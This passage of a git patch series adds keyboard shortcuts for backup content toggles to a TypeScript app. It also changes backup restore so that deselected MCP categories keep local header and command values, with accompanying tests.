@@ -85,6 +105,7 @@ const BACKUP_CONTENT_OPTIONS: readonly BackupContentOption[] = [
     label: "HTTP header values",
     description:
       "Copied as written, so a token in a header travels with the backup. Leave off to keep header values on this device.",
+    shortcut: KEYBINDS.SETTINGS_BACKUP_TOGGLE_MCP_HEADERS,
   },
   {
     flag: "includeMcpCommands",
@@ -92,6 +113,7 @@ const BACKUP_CONTENT_OPTIONS: readonly BackupContentOption[] = [
     label: "stdio commands",
     description:
       "Copied as written, so a token in a command line travels with the backup. Leave off to keep commands on this device.",
+    shortcut: KEYBINDS.SETTINGS_BACKUP_TOGGLE_MCP_COMMANDS,
   },
   {
     flag: "includeProjects",
@@ -673,11 +695,15 @@ export function BackupSection() {
         setApproveCommands((current) => !current);
       }
     },
-    toggleProjects: () => {
-      if (!busy) {
-        setDraft((current) => ({ ...current, includeProjects: !current.includeProjects }));
-      }
-    },
+  };
+  const toggleContentRef = useRef<(option: BackupContentOption) => void>(() => undefined);
+  toggleContentRef.current = (option) => {
+    if (busy) return;
+    setDraft((current) => {
+      // Mirrors the checkbox: a sub-option is inert while its parent is off.
+      if (option.parent !== undefined && !current[option.parent]) return current;
+      return { ...current, [option.flag]: !current[option.flag] };
+    });
   };
 
   useEffect(() => {
@@ -686,11 +712,15 @@ export function BackupSection() {
 
       const shortcut = BACKUP_SHORTCUTS.find(([, keybind]) => matchesKeybind(event, keybind));
       const action = shortcut && actionsRef.current?.[shortcut[0]];
-      if (!action) return;
+      const option = BACKUP_CONTENT_OPTIONS.find((candidate) =>
+        matchesKeybind(event, candidate.shortcut)
+      );
+      if (!action && !option) return;
 
       event.preventDefault();
       event.stopPropagation();
-      void action();
+      if (action) void action();
+      else if (option) toggleContentRef.current(option);
     };
 
     window.addEventListener("keydown", onKeyDown);
@@ -778,12 +808,10 @@ export function BackupSection() {
                 <span className="min-w-0">
                   <span className="text-foreground block text-xs font-medium">
                     {option.label}
-                    {option.shortcut ? (
-                      // Shortcut hint only; the shortcut itself stays bound on every viewport.
-                      <span className="text-muted ml-1 hidden font-normal sm:inline">
-                        ({formatKeybind(option.shortcut)})
-                      </span>
-                    ) : null}
+                    {/* Shortcut hint only; the shortcut itself stays bound on every viewport. */}
+                    <span className="text-muted ml-1 hidden font-normal sm:inline">
+                      ({formatKeybind(option.shortcut)})
+                    </span>
                   </span>
                   {option.description ? (
                     <span className="text-muted mt-0.5 block text-xs">{option.description}</span>
@@ -900,7 +928,11 @@ export function BackupSection() {
 
             <div className="border-border-light rounded-md border p-3">
               <h4 className="text-foreground text-xs font-medium">Kept on this device</h4>
-              {preview.redactions.length === 0 ? (
+              {!savedDraft.includeMcp ? (
+                <p className="text-muted mt-2 text-xs">
+                  MCP server configuration is not in the backup, so all of it stays here.
+                </p>
+              ) : preview.redactions.length === 0 ? (
                 <p className="text-muted mt-2 text-xs">Every MCP value is in the backup.</p>
               ) : (
                 <ul className="text-muted mt-2 space-y-1 text-xs">
diff --git a/src/browser/features/Settings/Sections/KeybindsSection.tsx b/src/browser/features/Settings/Sections/KeybindsSection.tsx
index af2c150046..5f78eb3f4b 100644
--- a/src/browser/features/Settings/Sections/KeybindsSection.tsx
+++ b/src/browser/features/Settings/Sections/KeybindsSection.tsx
@@ -84,6 +84,14 @@ const KEYBIND_LABELS: Record<keyof typeof KEYBINDS, string> = {
   SETTINGS_BACKUP_RESTORE: "Restore settings backup",
   SETTINGS_BACKUP_OVERRIDE_SECRET_SCAN: "Toggle secret scan override",
   SETTINGS_BACKUP_APPROVE_COMMANDS: "Toggle MCP command approval",
+  SETTINGS_BACKUP_TOGGLE_INSTRUCTIONS: "Toggle global instructions backup",
+  SETTINGS_BACKUP_TOGGLE_AGENTS: "Toggle agent definitions backup",
+  SETTINGS_BACKUP_TOGGLE_SKILLS: "Toggle agent skills backup",
+  SETTINGS_BACKUP_TOGGLE_GLOBAL_MEMORY: "Toggle global memory backup",
+  SETTINGS_BACKUP_TOGGLE_PREFERENCES: "Toggle preferences backup",
+  SETTINGS_BACKUP_TOGGLE_MCP: "Toggle MCP configuration backup",
+  SETTINGS_BACKUP_TOGGLE_MCP_HEADERS: "Toggle MCP header values in backup",
+  SETTINGS_BACKUP_TOGGLE_MCP_COMMANDS: "Toggle MCP stdio commands in backup",
   SETTINGS_BACKUP_TOGGLE_PROJECTS: "Toggle project backup",
   // Modal-only keybinds; intentionally omitted from KEYBIND_GROUPS.
   CONFIRM_DIALOG_YES: "Confirm dialog action",
@@ -234,6 +242,14 @@ const KEYBIND_GROUPS: Array<{
       "SETTINGS_BACKUP_RESTORE",
       "SETTINGS_BACKUP_OVERRIDE_SECRET_SCAN",
       "SETTINGS_BACKUP_APPROVE_COMMANDS",
+      "SETTINGS_BACKUP_TOGGLE_INSTRUCTIONS",
+      "SETTINGS_BACKUP_TOGGLE_AGENTS",
+      "SETTINGS_BACKUP_TOGGLE_SKILLS",
+      "SETTINGS_BACKUP_TOGGLE_GLOBAL_MEMORY",
+      "SETTINGS_BACKUP_TOGGLE_PREFERENCES",
+      "SETTINGS_BACKUP_TOGGLE_MCP",
+      "SETTINGS_BACKUP_TOGGLE_MCP_HEADERS",
+      "SETTINGS_BACKUP_TOGGLE_MCP_COMMANDS",
       "SETTINGS_BACKUP_TOGGLE_PROJECTS",
     ],
   },
diff --git a/src/browser/utils/ui/keybinds.ts b/src/browser/utils/ui/keybinds.ts
index e9c43ab4b3..78b6cad6ef 100644
--- a/src/browser/utils/ui/keybinds.ts
+++ b/src/browser/utils/ui/keybinds.ts
@@ -539,6 +539,14 @@ export const KEYBINDS = {
   SETTINGS_BACKUP_RESTORE: { key: "r", code: "KeyR", ctrl: true, alt: true },
   SETTINGS_BACKUP_OVERRIDE_SECRET_SCAN: { key: "o", code: "KeyO", ctrl: true, alt: true },
   SETTINGS_BACKUP_APPROVE_COMMANDS: { key: "a", code: "KeyA", ctrl: true, alt: true },
+  SETTINGS_BACKUP_TOGGLE_INSTRUCTIONS: { key: "i", code: "KeyI", ctrl: true, alt: true },
+  SETTINGS_BACKUP_TOGGLE_AGENTS: { key: "g", code: "KeyG", ctrl: true, alt: true },
+  SETTINGS_BACKUP_TOGGLE_SKILLS: { key: "k", code: "KeyK", ctrl: true, alt: true },
+  SETTINGS_BACKUP_TOGGLE_GLOBAL_MEMORY: { key: "m", code: "KeyM", ctrl: true, alt: true },
+  SETTINGS_BACKUP_TOGGLE_PREFERENCES: { key: "f", code: "KeyF", ctrl: true, alt: true },
+  SETTINGS_BACKUP_TOGGLE_MCP: { key: "c", code: "KeyC", ctrl: true, alt: true },
+  SETTINGS_BACKUP_TOGGLE_MCP_HEADERS: { key: "h", code: "KeyH", ctrl: true, alt: true },
+  SETTINGS_BACKUP_TOGGLE_MCP_COMMANDS: { key: "d", code: "KeyD", ctrl: true, alt: true },
   // Not Ctrl+Alt+P: that is PIN_WORKSPACE, which is global.
   SETTINGS_BACKUP_TOGGLE_PROJECTS: { key: "j", code: "KeyJ", ctrl: true, alt: true },
 
diff --git a/src/node/services/backup/adapters.ts b/src/node/services/backup/adapters.ts
index 6ed91dca4c..e82fbfef23 100644
--- a/src/node/services/backup/adapters.ts
+++ b/src/node/services/backup/adapters.ts
@@ -68,7 +68,6 @@ import {
   planRestoreWrites,
   readBackupPayload,
   restoreBackupPayload,
-  selectBackupContents,
   backupSecretApprovalDigest,
   scanBackupFilesForSecrets,
   serializeBackupPreferences,
@@ -549,7 +548,7 @@ export function createBackupPayloadStore(options: { config: Config }): BackupPay
         };
       }
 
-      const payload = selectBackupContents(await readBackupPayload(sourceDir), contents);
+      const payload = await readBackupPayload(sourceDir, { contents });
       // The preflight restore itself runs, so a destination this payload cannot be written to
       // fails here instead of after the user accepts a plan that cannot execute. Recomputed
       // rather than carried over to the restore, for the same reason the approvals are.
@@ -632,10 +631,7 @@ export function createBackupPayloadStore(options: { config: Config }): BackupPay
           describeMissingBackup(validateOptions.managedPath)
         );
       }
-      const payload = selectBackupContents(
-        await readBackupPayload(sourceDir),
-        validateOptions.contents
-      );
+      const payload = await readBackupPayload(sourceDir, { contents: validateOptions.contents });
       assertBackupCommandsApproved(
         await collectMcpCommandApprovals(muxRoot, payload.files, payload.manifest.mcpRedactions),
         validateOptions.approvedCommandTokens
@@ -700,7 +696,7 @@ export function createBackupPayloadStore(options: { config: Config }): BackupPay
     async restore(restoreOptions) {
       const sourceDir = await managedDir(restoreOptions.repositoryRoot, restoreOptions.managedPath);
       const contents = restoreOptions.contents;
-      const payload = selectBackupContents(await readBackupPayload(sourceDir), contents);
+      const payload = await readBackupPayload(sourceDir, { contents });
       const before = await localFilesByPath(contents);
 
       const restoreCore = async (
diff --git a/src/node/services/backup/payload.test.ts b/src/node/services/backup/payload.test.ts
index 7a8e888340..1035c58742 100644
--- a/src/node/services/backup/payload.test.ts
+++ b/src/node/services/backup/payload.test.ts
@@ -431,6 +431,41 @@ describe("backup payload", () => {
     }
   });
 
+  it("reads only the selected categories from a checked-out backup", async () => {
+    await writeFixtureFile(muxRoot, "AGENTS.md", "instructions\n");
+    await writeFixtureFile(
+      muxRoot,
+      "mcp.jsonc",
+      JSON.stringify({ servers: { api: { url: "https://example.com/mcp", headers: { A: "x" } } } })
+    );
+    const destination = path.join(tempDir, "partial");
+    await writeBackupPayload(
+      destination,
+      await createBackupPayload({
+        muxRoot,
+        contents: resolveBackupContents({ includeMcpHeaders: false }),
+        muxVersion: "1.2.3",
+        sourceLabel: "test-host",
+      })
+    );
+    // The redaction list stays in the manifest while the file itself turns unreadable.
+    await tamperPayloadFile(destination, "mcp.jsonc", "{ not jsonc");
+
+    const withoutMcp = await readBackupPayload(destination, {
+      contents: resolveBackupContents({ includeMcp: false }),
+    });
+    expect(withoutMcp.files.map((file) => file.path)).toEqual(["AGENTS.md", "preferences.json"]);
+    expect(withoutMcp.manifest.files.map((file) => file.path)).toEqual([
+      "AGENTS.md",
+      "preferences.json",
+    ]);
+    expect(withoutMcp.manifest.mcpRedactions).toBeUndefined();
+    expect(withoutMcp.redactions).toEqual([]);
+
+    const withMcp = await captureRejection(readBackupPayload(destination, { contents: CONTENTS }));
+    expect((withMcp as Error).message).toContain("mcp.jsonc");
+  });
+
   it("does not create manifests above the MCP redaction limit", async () => {
     const redactedValues = Object.fromEntries(
       Array.from({ length: MAX_BACKUP_MCP_REDACTIONS + 1 }, (_, index) => [
diff --git a/src/node/services/backup/payload.ts b/src/node/services/backup/payload.ts
index 7d40ec846c..a85e7da176 100644
--- a/src/node/services/backup/payload.ts
+++ b/src/node/services/backup/payload.ts
@@ -1839,13 +1839,21 @@ function isFilesystemError(error: unknown): boolean {
  * `portable: false` for a local safety snapshot, matching the `writeBackupPayload` call that
  * produced it: those keep names only this filesystem has to accept, so the cross-platform
  * rules a repository payload needs would reject the copy a recovery reads.
+ *
+ * With `contents`, only the selected categories are read and the result is already projected
+ * through `selectBackupContents`. A restore leaves the rest alone, so a malformed or missing
+ * file there must not block the categories the user did select.
  */
 export async function readBackupPayload(
   sourceDir: string,
-  options: { portable?: boolean } = {}
+  options: { portable?: boolean; contents?: BackupContents } = {}
 ): Promise<BackupPayload> {
   try {
-    return await readBackupPayloadUnchecked(sourceDir, options.portable !== false);
+    return await readBackupPayloadUnchecked(
+      sourceDir,
+      options.portable !== false,
+      options.contents
+    );
   } catch (error) {
     if (isFilesystemError(error)) throw error;
     throw new BackupInvalidPayloadError(error);
@@ -1879,7 +1887,8 @@ async function readManifestEntry(
 
 async function readBackupPayloadUnchecked(
   sourceDir: string,
-  portable: boolean
+  portable: boolean,
+  contents?: BackupContents
 ): Promise<BackupPayload> {
   const budget = createByteBudget();
   const root = await resolveRoot(sourceDir);
@@ -1896,6 +1905,7 @@ async function readBackupPayloadUnchecked(
     const key = portable ? collisionKey(manifestFile.path) : manifestFile.path;
     if (seen.has(key)) throw new Error(`Duplicate backup path '${manifestFile.path}'`);
     seen.add(key);
+    if (contents && !isSelectedPayloadPath(manifestFile.path, contents)) continue;
     const content = await readManifestEntry(root, manifestFile.path, budget);
     if (sha256(content) !== manifestFile.sha256) {
       throw new Error(`Backup checksum mismatch for '${manifestFile.path}'`);
@@ -1916,20 +1926,22 @@ async function readBackupPayloadUnchecked(
   const parsedMcp = mcpFile
     ? parseJsoncObjectWithTree(mcpFile.content.toString("utf-8"), "backup mcp.jsonc")
     : undefined;
-  if (manifest.mcpRedactions !== undefined) {
+  // A deselected mcp.jsonc was never opened, so its redaction list has nothing to validate
+  // against; selectBackupContents drops the list along with the file.
+  const mcpRedactions = contents && !contents.includeMcp ? undefined : manifest.mcpRedactions;
+  let payload: BackupPayload;
+  if (mcpRedactions !== undefined) {
     if (!parsedMcp) throw new Error("Backup manifest lists MCP redactions without mcp.jsonc");
-    validateMcpRedactionPaths(parsedMcp.tree, manifest.mcpRedactions);
-    return {
+    validateMcpRedactionPaths(parsedMcp.tree, mcpRedactions);
+    payload = { manifest, files, redactions: mcpRedactions.map(redactionPathLabel) };
+  } else {
+    payload = {
       manifest,
       files,
-      redactions: manifest.mcpRedactions.map(redactionPathLabel),
+      redactions: parsedMcp ? findMcpRedactionPaths(parsedMcp.tree).map(redactionPathLabel) : [],
     };
   }
-  return {
-    manifest,
-    files,
-    redactions: parsedMcp ? findMcpRedactionPaths(parsedMcp.tree).map(redactionPathLabel) : [],
-  };
+  return contents ? selectBackupContents(payload, contents) : payload;
 }
 
 /**
@@ -1949,6 +1961,11 @@ export function selectBackupContents(
     files: payload.manifest.files.filter((file) => isSelectedPayloadPath(file.path, contents)),
   };
   let redactions = payload.redactions;
+  if (!contents.includeMcp) {
+    // The list describes a file this selection leaves alone.
+    delete manifest.mcpRedactions;
+    redactions = [];
+  }
   const mcpFile = files.find((file) => file.path === "mcp.jsonc");
   const projection = mcpProjectionOptions(contents);
   if (mcpFile && !(projection.includeHeaders && projection.includeCommands)) {
diff --git a/tests/ui/BackupSection.test.ts b/tests/ui/BackupSection.test.ts
index a980ec7304..bade9fe969 100644
--- a/tests/ui/BackupSection.test.ts
+++ b/tests/ui/BackupSection.test.ts
@@ -143,6 +143,37 @@ describe("BackupSection", () => {
     await waitFor(() => expect(canvas.queryByText("Unsaved changes")).toBeNull());
   });
 
+  test("toggles the content selection from the keyboard under the parent gate", async () => {
+    const { client, view } = renderBackupSection();
+    const canvas = within(view.container);
+    await canvas.findByText("Settings backup");
+    const saveSettings = jest.spyOn(client.backup, "saveSettings");
+
+    const mcp = canvas.getByRole("checkbox", { name: "MCP server configuration" });
+    const headers = canvas.getByRole("checkbox", { name: "HTTP header values" });
+    fireEvent.keyDown(window, { key: "c", code: "KeyC", ctrlKey: true, altKey: true });
+    expect(mcp.getAttribute("aria-checked")).toBe("false");
+    // A sub-option shortcut is inert while its parent is off, like the disabled checkbox.
+    fireEvent.keyDown(window, { key: "h", code: "KeyH", ctrlKey: true, altKey: true });
+    fireEvent.keyDown(window, { key: "c", code: "KeyC", ctrlKey: true, altKey: true });
+    expect(headers.getAttribute("aria-checked")).toBe("true");
+    fireEvent.keyDown(window, { key: "h", code: "KeyH", ctrlKey: true, altKey: true });
+    expect(headers.getAttribute("aria-checked")).toBe("false");
+    fireEvent.keyDown(window, { key: "j", code: "KeyJ", ctrlKey: true, altKey: true });
+
+    fireEvent.keyDown(window, { key: "s", code: "KeyS", ctrlKey: true, altKey: true });
+    await waitFor(() =>
+      expect(saveSettings).toHaveBeenCalledWith({
+        repoUrl: "git@github.com:example/dotfiles.git",
+        branch: "main",
+        path: "mux/",
+        ...BACKUP_CONTENT_DEFAULTS,
+        includeMcpHeaders: false,
+        includeProjects: true,
+      })
+    );
+  });
+
   test("refreshes backup settings changed by another window", async () => {
     const { client, view } = renderBackupSection();
     const canvas = within(view.container);

From 62217b85735f4527067f6c60021ad48de907264d Mon Sep 17 00:00:00 2001
From: Michael Suchacz <203725896+ibetitsmike@users.noreply.github.com>
Date: Fri, 11 Sep 2026 02:09:00 +0000
Subject: [PATCH 03/10] fix: keep local MCP headers and commands absent from
 the backup entry

With a category deselected, the restore-side projection now marks the
field even when the backup entry does not carry it, so the existing
rehydration keeps this machine's value instead of dropping it with the
entry. Exports are unchanged.
---
 src/node/services/backup/payload.test.ts | 69 ++++++++++++++++++++++++
 src/node/services/backup/payload.ts      | 17 +++++-
 2 files changed, 85 insertions(+), 1 deletion(-)

diff --git a/src/node/services/backup/payload.test.ts b/src/node/services/backup/payload.test.ts
index 1035c58742..6deb67e9bf 100644
--- a/src/node/services/backup/payload.test.ts
+++ b/src/node/services/backup/payload.test.ts
@@ -431,6 +431,75 @@ describe("backup payload", () => {
     }
   });
 
+  it("keeps local headers and commands the backup entry does not carry when deselected", async () => {
+    await writeFixtureFile(
+      muxRoot,
+      "mcp.jsonc",
+      JSON.stringify({ servers: { api: { url: "https://example.com/mcp" } } })
+    );
+    const destination = path.join(tempDir, "header-less");
+    await writeBackupPayload(
+      destination,
+      await createBackupPayload({
+        muxRoot,
+        contents: CONTENTS,
+        muxVersion: "1.2.3",
+        sourceLabel: "test-host",
+      })
+    );
+    const localMcp = JSON.stringify({
+      servers: {
+        api: {
+          url: "https://example.com/mcp",
+          command: "local-mcp --stdio",
+          headers: { Authorization: "Bearer local" },
+        },
+      },
+    });
+
+    const keptRoot = path.join(tempDir, "kept");
+    await writeFixtureFile(keptRoot, "mcp.jsonc", localMcp);
+    const kept = resolveBackupContents({ includeMcpHeaders: false, includeMcpCommands: false });
+    await restoreBackupPayload({
+      muxRoot: keptRoot,
+      contents: kept,
+      payload: await readBackupPayload(destination, { contents: kept }),
+    });
+    expect(jsonc.parse(await fs.readFile(path.join(keptRoot, "mcp.jsonc"), "utf-8"))).toEqual({
+      servers: {
+        api: {
+          url: "https://example.com/mcp",
+          command: "local-mcp --stdio",
+          headers: { Authorization: "Bearer local" },
+        },
+      },
+    });
+
+    // Selected categories travel with the backup, so its header-less entry replaces the local one.
+    const replacedRoot = path.join(tempDir, "replaced");
+    await writeFixtureFile(replacedRoot, "mcp.jsonc", localMcp);
+    await restoreBackupPayload({
+      muxRoot: replacedRoot,
+      contents: CONTENTS,
+      payload: await readBackupPayload(destination, { contents: CONTENTS }),
+    });
+    expect(jsonc.parse(await fs.readFile(path.join(replacedRoot, "mcp.jsonc"), "utf-8"))).toEqual({
+      servers: { api: { url: "https://example.com/mcp" } },
+    });
+
+    // With nothing local to keep, the restore-side markers leave no trace.
+    const freshRoot = path.join(tempDir, "fresh");
+    await fs.mkdir(freshRoot, { recursive: true });
+    await restoreBackupPayload({
+      muxRoot: freshRoot,
+      contents: kept,
+      payload: await readBackupPayload(destination, { contents: kept }),
+    });
+    expect(jsonc.parse(await fs.readFile(path.join(freshRoot, "mcp.jsonc"), "utf-8"))).toEqual({
+      servers: { api: { url: "https://example.com/mcp" } },
+    });
+  });
+
   it("reads only the selected categories from a checked-out backup", async () => {
     await writeFixtureFile(muxRoot, "AGENTS.md", "instructions\n");
     await writeFixtureFile(
diff --git a/src/node/services/backup/payload.ts b/src/node/services/backup/payload.ts
index a85e7da176..5416525bdd 100644
--- a/src/node/services/backup/payload.ts
+++ b/src/node/services/backup/payload.ts
@@ -1197,6 +1197,12 @@ function isReadableHeaderValue(value: unknown): boolean {
 export interface McpProjectionOptions {
   includeHeaders: boolean;
   includeCommands: boolean;
+  /**
+   * Restore side only: a deselected field the backup entry does not carry still gets a marker,
+   * so the local value survives the restore instead of vanishing with the entry. An export
+   * leaves the field absent, since the source machine had nothing there to keep.
+   */
+  markAbsent?: boolean;
 }
 
 export function mcpProjectionOptions(contents: BackupContents): McpProjectionOptions {
@@ -1336,6 +1342,15 @@ function redactMcpConfig(
       // reads. Restore uses the local value at that exact path.
       redact(fieldPath);
     }
+    if (options.markAbsent) {
+      const fields = objectKeyNames(tree, ["servers", serverName]);
+      if (!options.includeHeaders && !fields.includes("headers")) {
+        redact(["servers", serverName, "headers"]);
+      }
+      if (!options.includeCommands && !fields.includes("command")) {
+        redact(["servers", serverName, "command"]);
+      }
+    }
   }
   return finish();
 }
@@ -1967,7 +1982,7 @@ export function selectBackupContents(
     redactions = [];
   }
   const mcpFile = files.find((file) => file.path === "mcp.jsonc");
-  const projection = mcpProjectionOptions(contents);
+  const projection = { ...mcpProjectionOptions(contents), markAbsent: true };
   if (mcpFile && !(projection.includeHeaders && projection.includeCommands)) {
     // A manifest without the list is read by marker text; listing the markers it already has
     // keeps that reading once this pass adds paths of its own and the file is read by path.

From 549f4fb96bf3bfcfc67b033877da07cde474df71 Mon Sep 17 00:00:00 2001
From: Michael Suchacz <203725896+ibetitsmike@users.noreply.github.com>
Date: Fri, 11 Sep 2026 02:39:18 +0000
Subject: [PATCH 04/10] fix: skip MCP manifest metadata when MCP is deselected,
 uncap restore markers

parseManifest drops mcpRedactions unread when the selection leaves MCP
alone, so a malformed or oversized list cannot fail a restore of the
other categories. The restore-side projection no longer applies the
publish caps to the markers it adds for absent deselected fields, so a
large valid backup stays restorable when a category is deselected.
---
 src/node/services/backup/payload.test.ts | 57 ++++++++++++++++++++++++
 src/node/services/backup/payload.ts      | 25 ++++++++---
 2 files changed, 75 insertions(+), 7 deletions(-)

diff --git a/src/node/services/backup/payload.test.ts b/src/node/services/backup/payload.test.ts
index 6deb67e9bf..1a867f4178 100644
--- a/src/node/services/backup/payload.test.ts
+++ b/src/node/services/backup/payload.test.ts
@@ -51,6 +51,7 @@ import {
   writeBackupPayload,
   writeProjectBundle,
   writeProjectMemoryFiles,
+  type BackupManifest,
   type BackupPayload,
   type BackupProjectBundle,
 } from "./payload";
@@ -533,6 +534,62 @@ describe("backup payload", () => {
 
     const withMcp = await captureRejection(readBackupPayload(destination, { contents: CONTENTS }));
     expect((withMcp as Error).message).toContain("mcp.jsonc");
+
+    // MCP manifest metadata is skipped with the file: an oversized redaction list only matters
+    // to a selection that reads mcp.jsonc.
+    const manifestPath = path.join(destination, "manifest.json");
+    const manifest = JSON.parse(await fs.readFile(manifestPath, "utf-8")) as BackupManifest;
+    await fs.writeFile(
+      manifestPath,
+      JSON.stringify({
+        ...manifest,
+        mcpRedactions: Array.from({ length: MAX_BACKUP_MCP_REDACTIONS + 1 }, (_, index) => [
+          "servers",
+          `s${index}`,
+        ]),
+      })
+    );
+    const oversizedWithoutMcp = await readBackupPayload(destination, {
+      contents: resolveBackupContents({ includeMcp: false }),
+    });
+    expect(oversizedWithoutMcp.manifest.mcpRedactions).toBeUndefined();
+    const oversizedWithMcp = await captureRejection(
+      readBackupPayload(destination, { contents: CONTENTS })
+    );
+    expect((oversizedWithMcp as Error).message).toBe(
+      `Backup has more than ${MAX_BACKUP_MCP_REDACTIONS} MCP redactions`
+    );
+  });
+
+  it("keeps a large backup restorable when deselecting a category adds many markers", async () => {
+    const servers = Object.fromEntries(
+      Array.from({ length: MAX_BACKUP_MCP_REDACTIONS + 1 }, (_, index) => [
+        `server-${index}`,
+        { url: `https://example.com/mcp/${index}` },
+      ])
+    );
+    await writeFixtureFile(muxRoot, "mcp.jsonc", JSON.stringify({ servers }));
+    const payload = await createBackupPayload({
+      muxRoot,
+      contents: CONTENTS,
+      muxVersion: "1.2.3",
+      sourceLabel: "test-host",
+    });
+    const selected = selectBackupContents(
+      payload,
+      resolveBackupContents({ includeMcpHeaders: false })
+    );
+    expect(selected.manifest.mcpRedactions).toHaveLength(MAX_BACKUP_MCP_REDACTIONS + 1);
+    const restoreRoot = path.join(tempDir, "many-servers");
+    await fs.mkdir(restoreRoot, { recursive: true });
+    await restoreBackupPayload({
+      muxRoot: restoreRoot,
+      contents: resolveBackupContents({ includeMcpHeaders: false }),
+      payload: selected,
+    });
+    expect(jsonc.parse(await fs.readFile(path.join(restoreRoot, "mcp.jsonc"), "utf-8"))).toEqual({
+      servers,
+    });
   });
 
   it("does not create manifests above the MCP redaction limit", async () => {
diff --git a/src/node/services/backup/payload.ts b/src/node/services/backup/payload.ts
index 5416525bdd..886212bcf3 100644
--- a/src/node/services/backup/payload.ts
+++ b/src/node/services/backup/payload.ts
@@ -1200,7 +1200,11 @@ export interface McpProjectionOptions {
   /**
    * Restore side only: a deselected field the backup entry does not carry still gets a marker,
    * so the local value survives the restore instead of vanishing with the entry. An export
-   * leaves the field absent, since the source machine had nothing there to keep.
+   * leaves the field absent, since the source machine had nothing there to keep. The publish
+   * caps on marker counts do not apply here: the file already passed them on read, the
+   * markers added are bounded by its server count, and the projection never leaves this
+   * machine, so a large but valid backup must not become unrestorable by deselecting a
+   * category.
    */
   markAbsent?: boolean;
 }
@@ -1279,7 +1283,7 @@ function redactMcpConfig(
     const retainedRedactionPaths = redactionPaths.filter((jsonPath) =>
       valueHasRedactionAtPath(projected.parsed, jsonPath)
     );
-    assertBackupMcpRedactions(retainedRedactionPaths);
+    if (!options.markAbsent) assertBackupMcpRedactions(retainedRedactionPaths);
     return {
       content: projected.content,
       redactionPaths: retainedRedactionPaths,
@@ -1766,7 +1770,11 @@ function assertBackupMcpRedactions(
   }
 }
 
-function parseManifest(raw: string, portable: boolean): BackupManifest {
+/**
+ * `includeMcp: false` drops `mcpRedactions` unread: the list describes a file this selection
+ * never opens, so its shape and size cannot be allowed to fail a restore of everything else.
+ */
+function parseManifest(raw: string, portable: boolean, includeMcp = true): BackupManifest {
   const tree = jsonc.parseTree(raw);
   if (!tree) throw new Error("Invalid backup manifest");
   assertNoDuplicateKeys(tree, "backup manifest");
@@ -1781,6 +1789,7 @@ function parseManifest(raw: string, portable: boolean): BackupManifest {
   ) {
     throw new Error("Invalid backup manifest");
   }
+  if (!includeMcp) delete manifest.mcpRedactions;
   const mcpRedactions: unknown = manifest.mcpRedactions;
   if (mcpRedactions !== undefined) {
     if (!Array.isArray(mcpRedactions)) throw new Error("Invalid backup manifest");
@@ -1913,7 +1922,11 @@ async function readBackupPayloadUnchecked(
   const manifestRaw = await readCheckedFile(root, BACKUP_MANIFEST_FILE, (size) => {
     budget(BACKUP_MANIFEST_FILE, size);
   });
-  const manifest = parseManifest(manifestRaw.content.toString("utf-8"), portable);
+  const manifest = parseManifest(
+    manifestRaw.content.toString("utf-8"),
+    portable,
+    contents?.includeMcp ?? true
+  );
   const files: BackupFile[] = [];
   const seen = new Set<string>();
   for (const manifestFile of manifest.files) {
@@ -1941,9 +1954,7 @@ async function readBackupPayloadUnchecked(
   const parsedMcp = mcpFile
     ? parseJsoncObjectWithTree(mcpFile.content.toString("utf-8"), "backup mcp.jsonc")
     : undefined;
-  // A deselected mcp.jsonc was never opened, so its redaction list has nothing to validate
-  // against; selectBackupContents drops the list along with the file.
-  const mcpRedactions = contents && !contents.includeMcp ? undefined : manifest.mcpRedactions;
+  const mcpRedactions = manifest.mcpRedactions;
   let payload: BackupPayload;
   if (mcpRedactions !== undefined) {
     if (!parsedMcp) throw new Error("Backup manifest lists MCP redactions without mcp.jsonc");

From b14058a914890a6214d8ee7ae9d288810b3975c8 Mon Sep 17 00:00:00 2001
From: Michael Suchacz <203725896+ibetitsmike@users.noreply.github.com>
Date: Fri, 11 Sep 2026 03:09:26 +0000
Subject: [PATCH 05/10] fix: drop redaction paths shadowed by a whole-object
 marker on restore

A backup written when header values were redacted one by one lists
child paths; deselecting headers now replaces the object with one
marker, and the stale child path made the restore reject the manifest.
Keep only listed paths that still name a marker in the projected file.
---
 src/node/services/backup/payload.test.ts | 61 ++++++++++++++++++++++++
 src/node/services/backup/payload.ts      | 11 ++++-
 2 files changed, 71 insertions(+), 1 deletion(-)

diff --git a/src/node/services/backup/payload.test.ts b/src/node/services/backup/payload.test.ts
index 1a867f4178..d4a64e5f58 100644
--- a/src/node/services/backup/payload.test.ts
+++ b/src/node/services/backup/payload.test.ts
@@ -561,6 +561,67 @@ describe("backup payload", () => {
     );
   });
 
+  it("restores a backup that redacted header values one by one with headers deselected", async () => {
+    await writeFixtureFile(
+      muxRoot,
+      "mcp.jsonc",
+      JSON.stringify({ servers: { api: { url: "https://example.com/mcp" } } })
+    );
+    const destination = path.join(tempDir, "per-header");
+    await writeBackupPayload(
+      destination,
+      await createBackupPayload({
+        muxRoot,
+        contents: CONTENTS,
+        muxVersion: "1.2.3",
+        sourceLabel: "test-host",
+      })
+    );
+    // The preceding format: each literal header value is its own marker and listed path.
+    await tamperPayloadFile(
+      destination,
+      "mcp.jsonc",
+      JSON.stringify({
+        servers: {
+          api: {
+            url: "https://example.com/mcp",
+            headers: { Authorization: REDACTED_BACKUP_VALUE },
+          },
+        },
+      })
+    );
+    const manifestPath = path.join(destination, "manifest.json");
+    const manifest = JSON.parse(await fs.readFile(manifestPath, "utf-8")) as BackupManifest;
+    await fs.writeFile(
+      manifestPath,
+      JSON.stringify({
+        ...manifest,
+        mcpRedactions: [["servers", "api", "headers", "Authorization"]],
+      })
+    );
+
+    const contents = resolveBackupContents({ includeMcpHeaders: false });
+    const payload = await readBackupPayload(destination, { contents });
+    expect(payload.manifest.mcpRedactions).toEqual([["servers", "api", "headers"]]);
+
+    const restoreRoot = path.join(tempDir, "per-header-restore");
+    await writeFixtureFile(
+      restoreRoot,
+      "mcp.jsonc",
+      JSON.stringify({
+        servers: {
+          api: { url: "https://example.com/mcp", headers: { Authorization: "Bearer local" } },
+        },
+      })
+    );
+    await restoreBackupPayload({ muxRoot: restoreRoot, contents, payload });
+    expect(jsonc.parse(await fs.readFile(path.join(restoreRoot, "mcp.jsonc"), "utf-8"))).toEqual({
+      servers: {
+        api: { url: "https://example.com/mcp", headers: { Authorization: "Bearer local" } },
+      },
+    });
+  });
+
   it("keeps a large backup restorable when deselecting a category adds many markers", async () => {
     const servers = Object.fromEntries(
       Array.from({ length: MAX_BACKUP_MCP_REDACTIONS + 1 }, (_, index) => [
diff --git a/src/node/services/backup/payload.ts b/src/node/services/backup/payload.ts
index 886212bcf3..412324d978 100644
